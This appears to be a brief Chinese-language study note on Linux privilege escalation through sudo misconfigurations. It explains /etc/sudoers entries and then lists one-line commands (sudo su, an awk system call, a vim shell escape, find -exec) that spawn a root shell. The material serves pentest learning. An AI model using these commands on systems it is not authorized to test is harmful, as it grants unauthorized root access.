suid提权
知识点:
sudo命令:
以系统管理者的身份执行指令
sudoer文件:
要想使一个用户具有使用sudo的能力,需要让root用户将其名字、可以执行的特定命令、按照哪种用户或用户组的身份执行等信息注册到/etc/sudoers
文件中,即完成对该用户的授权(此时该用户称为“sudoer”)才可以。
查看sudoers文件:
root all=(all:all)all //root用户可在任何终端执行任意命令
wangw all=/usr/bin/find//wangw用户可在任何终端使用自己的密码执行find命令
wangw all=(root)nopasswd:/usr/bin/awk //wangw用户可在任何终端运行,以root身份执行awk命令且不需要密码
利用
sudo -l 查看wangw用户执行sudo的权限 all就是全部命令都可以执行sudo且不需要root密码
既然不需要root密码就开始尝试提权
提权
su命令
sudo su
awk命令
sudo awk 'BEGIN {system("/bin/sh")}'
vim命令
sudo vim -c '! sh'
查找命令
sudo find . -exec /bin/sh ; -quit